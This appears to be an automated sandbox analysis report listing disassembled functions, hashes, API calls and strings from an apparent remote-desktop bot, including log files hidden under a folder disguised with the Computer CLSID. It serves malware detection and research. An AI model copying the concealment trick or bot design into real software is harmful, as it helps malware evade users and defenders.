Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-2568489879
Opcode ID: 1a184603a095c2785f17211911e662ef83ed393e3036cf695f0e3083be6901ce
Instruction ID: 13747ca68a08390c090055bb459cc5ac39e020335aa1f91ad11b34e765d592de
Opcode Fuzzy Hash: 1a184603a095c2785f17211911e662ef83ed393e3036cf695f0e3083be6901ce
Instruction Fuzzy Hash: 9041EB61E0CA47D5FA609BDDAD803B52364BB063C8F8445B2DF4E465A5DF3CAB59C300

Function 00007FF8BFAB8E49 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFAB8F3D

Strings

ini_get_sec, xrefs: 00007FF8BFAB8E92, 00007FF8BFAB8EC5, 00007FF8BFAB8EF8, 00007FF8BFAB8F56, 00007FF8BFAB8F94
(ini != NULL), xrefs: 00007FF8BFAB8E8B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFAB8E99, 00007FF8BFAB8ECC, 00007FF8BFAB8EFF
NULL, xrefs: 00007FF8BFAB8FB4
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFAB8E84, 00007FF8BFAB8EB7, 00007FF8BFAB8EEA
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BFAB8F5D
(name != NULL), xrefs: 00007FF8BFAB8EBE
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BFAB8F9B
(sec != NULL), xrefs: 00007FF8BFAB8EF1

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: a5c6423a5378826f41d1e00e337d869f499e52ea9b23018924f27b0ddc25a9b7
Instruction ID: 878e7b82a69d4d0e5f7cb492d43da888e2cb05970bbd5d840b266d956bcf38aa
Opcode Fuzzy Hash: a5c6423a5378826f41d1e00e337d869f499e52ea9b23018924f27b0ddc25a9b7
Instruction Fuzzy Hash: F44141A1A0CA47A5FA19ABDCEC427B46391AF483CCF446036DB0D06196DF7CE55AD310

Function 00007FF8BA507409 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BA5074FD

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA507459, 00007FF8BA50748C, 00007FF8BA5074BF
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BA507444, 00007FF8BA507477, 00007FF8BA5074AA
NULL, xrefs: 00007FF8BA507574
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BA50751D
(name != NULL), xrefs: 00007FF8BA50747E
(ini != NULL), xrefs: 00007FF8BA50744B
(sec != NULL), xrefs: 00007FF8BA5074B1
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BA50755B
ini_get_sec, xrefs: 00007FF8BA507452, 00007FF8BA507485, 00007FF8BA5074B8, 00007FF8BA507516, 00007FF8BA507554

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: 3d6d22d10641deace307fba5547bc6261cfc25d0abbb71d060340f09f2567f54
Instruction ID: f2acb7726a1c969784fc4d013b0b3a17edee90f3b3d15fd767fa98817a89d0f3
Opcode Fuzzy Hash: 3d6d22d10641deace307fba5547bc6261cfc25d0abbb71d060340f09f2567f54
Instruction Fuzzy Hash: 3741E861A0CA47E6FA208BD9AC817F52754BB123C8F4445B6DF4D469A5EF3CEB4AC300

Function 00007FF8B9188959 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B9188A4D

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B91889A9, 00007FF8B91889DC, 00007FF8B9188A0F
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8B9188AAB
[D] (%s) -> Done(name=%s), xrefs: 00007FF8B9188A6D
(name != NULL), xrefs: 00007FF8B91889CE
(sec != NULL), xrefs: 00007FF8B9188A01
(ini != NULL), xrefs: 00007FF8B918899B
NULL, xrefs: 00007FF8B9188AC4
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B9188994, 00007FF8B91889C7, 00007FF8B91889FA
ini_get_sec, xrefs: 00007FF8B91889A2, 00007FF8B91889D5, 00007FF8B9188A08, 00007FF8B9188A66, 00007FF8B9188AA4

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: bbd8d863d0c2393a798718cc76c9459790273a858cadf82e92e436848f4ab38c
Instruction ID: 7b27ca96c6272c38e14ce30cf6208caefe170f999f47ff984c3b7d6dc462309e
Opcode Fuzzy Hash: bbd8d863d0c2393a798718cc76c9459790273a858cadf82e92e436848f4ab38c
Instruction Fuzzy Hash: 8A411A62A185C7A5FA209F5CE8807F463A1AB003C8F598532DB6D465D7EF3CA946F300

Function 00007FF70887824D Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 76stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF708878258
strlen.MSVCRT ref: 00007FF708878274
strlen.MSVCRT ref: 00007FF708878280
strlen.MSVCRT ref: 00007FF70887830A
strlen.MSVCRT ref: 00007FF708878337

Strings

.applied, xrefs: 00007FF708878312
pkg, xrefs: 00007FF708878296
update.p, xrefs: 00007FF708878289
tch.pkg, xrefs: 00007FF7088782D7
????-pat, xrefs: 00007FF7088782CA

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: strlen
String ID: .applied$????-pat$pkg$tch.pkg$update.p
API String ID: 39653677-1686225151
Opcode ID: 1bacbc015b66ee95983f845907e4a34e664ad53536c5297d35e9b82757521785
Instruction ID: 9a64d2e2800da9be375d7bf2ebe10c18edf8bcd5c8e6497d5028bd97cd5caaaa
Opcode Fuzzy Hash: 1bacbc015b66ee95983f845907e4a34e664ad53536c5297d35e9b82757521785
Instruction Fuzzy Hash: AF21DF12A2CF4345EB24FA259C0CB79D6A14F55B89F884070DA4E4B3D2DF2CE8A0836C

Function 00007FF8BFB52FD2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BFB5307E
fflush.MSVCRT ref: 00007FF8BFB5308A
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB530A3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB530CB
CopyFileA.KERNEL32 ref: 00007FF8BFB53128

Strings

1, xrefs: 00007FF8BFB53112
., xrefs: 00007FF8BFB5310D
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log, xrefs: 00007FF8BFB530EB

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log
API String ID: 513531256-2729875187
Opcode ID: b0e16de90528dddbaa36a4a9c88e4def37decd2482aa2aa138530108e3277cd1
Instruction ID: 192698b790a3d7501eb2b4f62925a19198bc1222833894718abd5b71bfc7802f
Opcode Fuzzy Hash: b0e16de90528dddbaa36a4a9c88e4def37decd2482aa2aa138530108e3277cd1
Instruction Fuzzy Hash: 64418F72A0C641A6F7209BDDE8643BAB761BB887C4F484031DB4D83795DF3CE5898740

Function 00007FF8BFB81292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BFB8133E
fflush.MSVCRT ref: 00007FF8BFB8134A
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB81363
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB8138B
CopyFileA.KERNEL32 ref: 00007FF8BFB813E8

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log, xrefs: 00007FF8BFB813AB
1, xrefs: 00007FF8BFB813D2
., xrefs: 00007FF8BFB813CD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log
API String ID: 513531256-3034662401
Opcode ID: 48f2d0586bcf9582210c7769f526a14f8a933ced909767e9bd83258acf42f857
Instruction ID: 35fe09fd5ab75f8f0947a13e1b2c85f5956fca94ccb25f00d5fd60c10542b033
Opcode Fuzzy Hash: 48f2d0586bcf9582210c7769f526a14f8a933ced909767e9bd83258acf42f857
Instruction Fuzzy Hash: E0416F21A0D68286F3219B99E8553FA73A1FB897C0F448035DB4D97B96CF3CE985C740

Function 00007FF8B9151292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8B915133E
fflush.MSVCRT ref: 00007FF8B915134A
EnterCriticalSection.KERNEL32 ref: 00007FF8B9151363
LeaveCriticalSection.KERNEL32 ref: 00007FF8B915138B
CopyFileA.KERNEL32 ref: 00007FF8B91513E8

Strings

., xrefs: 00007FF8B91513CD
1, xrefs: 00007FF8B91513D2
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log, xrefs: 00007FF8B91513AB

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log
API String ID: 513531256-2115573132
Opcode ID: 5c96a4841fcf32cb0990ea46f84c34129a0b230b4ef58bcda0142fca1c46c413
Instruction ID: e53a5fb9558cbbbc1d3acd7d4ae9cdab037c85f043cb7140463db60464642fe5
Opcode Fuzzy Hash: 5c96a4841fcf32cb0990ea46f84c34129a0b230b4ef58bcda0142fca1c46c413
Instruction Fuzzy Hash: 03417E75E0D6C286F322AF19E8643B96361AB897C0F444031DB4D87B95CF7CE586E740

Function 00007FF8BFABA202 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BFABA2AE
fflush.MSVCRT ref: 00007FF8BFABA2BA
EnterCriticalSection.KERNEL32 ref: 00007FF8BFABA2D3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFABA2FB
CopyFileA.KERNEL32 ref: 00007FF8BFABA358

Strings

., xrefs: 00007FF8BFABA33D
1, xrefs: 00007FF8BFABA342
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log, xrefs: 00007FF8BFABA31B

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log
API String ID: 513531256-1680544107
Opcode ID: ef29e44cde9033f20ab4b5173c77ea9af5470e879b81eafeed9fc3cb8f1e3a96
Instruction ID: 5dbfc850651ab64853deb5ed9a89276e18f70564916043b9ca9f0c6ba60b0c8a
Opcode Fuzzy Hash: ef29e44cde9033f20ab4b5173c77ea9af5470e879b81eafeed9fc3cb8f1e3a96
Instruction Fuzzy Hash: E541B331A0CA859AF3289B98EC963BAA354FB857C8F442031DB4D47792CF3DE5898740

Function 00007FF8BA501292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8BA50133E
fflush.MSVCRT ref: 00007FF8BA50134A
EnterCriticalSection.KERNEL32 ref: 00007FF8BA501363
LeaveCriticalSection.KERNEL32 ref: 00007FF8BA50138B
CopyFileA.KERNEL32 ref: 00007FF8BA5013E8

Strings

., xrefs: 00007FF8BA5013CD
1, xrefs: 00007FF8BA5013D2
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log, xrefs: 00007FF8BA5013AB

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log
API String ID: 513531256-2601447032
Opcode ID: 1a7e9c9ec7bae933ecc4019bc3fe970f4cd41a9ad4663795c4800373867ad189
Instruction ID: e4a6ee1a23003230ed0d0669cea95054b0dd28d5e343d22f2643540756e14ce5
Opcode Fuzzy Hash: 1a7e9c9ec7bae933ecc4019bc3fe970f4cd41a9ad4663795c4800373867ad189
Instruction Fuzzy Hash: 00414D71A4C68186F720DB9AEC543BA6361BB8A7C4F4400B6DF4D877A5CF2DEB858700

Function 00007FF8B9181292 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF8B918133E
fflush.MSVCRT ref: 00007FF8B918134A
EnterCriticalSection.KERNEL32 ref: 00007FF8B9181363
LeaveCriticalSection.KERNEL32 ref: 00007FF8B918138B
CopyFileA.KERNEL32 ref: 00007FF8B91813E8

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log, xrefs: 00007FF8B91813AB
1, xrefs: 00007FF8B91813D2
., xrefs: 00007FF8B91813CD

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log
API String ID: 513531256-1022500615
Opcode ID: 6d63ff14d14e77d7d9893b7cf131dd796ece7ae35e9587e97000a2984af39abb
Instruction ID: 15cc3d0b5a60226fdfc4e58b4d97cdd2c4676b62474891348f41eafe1da1afa4
Opcode Fuzzy Hash: 6d63ff14d14e77d7d9893b7cf131dd796ece7ae35e9587e97000a2984af39abb
Instruction Fuzzy Hash: F4418B62A0C6C186F3209F19E8503F963A4FB9A7D0F854130DB0D57B96DF3DE986A704

Function 00007FF8BFB8C780 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB8C81E
_errno.MSVCRT ref: 00007FF8BFB8C83C
_errno.MSVCRT ref: 00007FF8BFB8C844

Strings

(value != NULL), xrefs: 00007FF8BFB8C7F6
ini_get_uint16, xrefs: 00007FF8BFB8C7FD, 00007FF8BFB8C865
[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB8C86C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C804
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C7EF

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 2918714741-1951032453
Opcode ID: a5ca9b0bf9b3be9852da4ba323c51029fd9cf6fcbeba48dbf9b72e0c84d279d6
Instruction ID: e21125e88ac6f15d7a7162140a449020367fbe9ab2483713d00ba015a0b2b830
Opcode Fuzzy Hash: a5ca9b0bf9b3be9852da4ba323c51029fd9cf6fcbeba48dbf9b72e0c84d279d6
Instruction Fuzzy Hash: 26219266A0964792E7119F99E840BAA7760BB847D4F448032EF4C47BA6DF3CE845C700

Function 00007FF8BFB8C900 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB8C99A
_errno.MSVCRT ref: 00007FF8BFB8C9B8
_errno.MSVCRT ref: 00007FF8BFB8C9C4

Strings

(value != NULL), xrefs: 00007FF8BFB8C972
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C980
[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB8C9EB
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C96B
ini_get_uint32, xrefs: 00007FF8BFB8C979, 00007FF8BFB8C9E4

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-719680006
Opcode ID: a242bb18889e0c0625166b0c1d0e8931bd7771407aa4d943679f1e3ef64d3bc1
Instruction ID: 81e7acbe6276570ffdadcceb78e253ecb891e58cf5bb9b1173ad15bdb73e6d96
Opcode Fuzzy Hash: a242bb18889e0c0625166b0c1d0e8931bd7771407aa4d943679f1e3ef64d3bc1
Instruction Fuzzy Hash: 4B2192A2A0968696E7519FADFC407AA3360FB847D4F848032EF4C47A95DF3DE885C700

Function 00007FF7088730B1 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF70887314F
GetLastError.KERNEL32 ref: 00007FF70887316A

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

NULL, xrefs: 00007FF7088732AD, 00007FF7088732B9
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF708873188
[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF708873125
fs_file_copy, xrefs: 00007FF70887311E, 00007FF708873181, 00007FF7088732CF
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF7088732D6

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

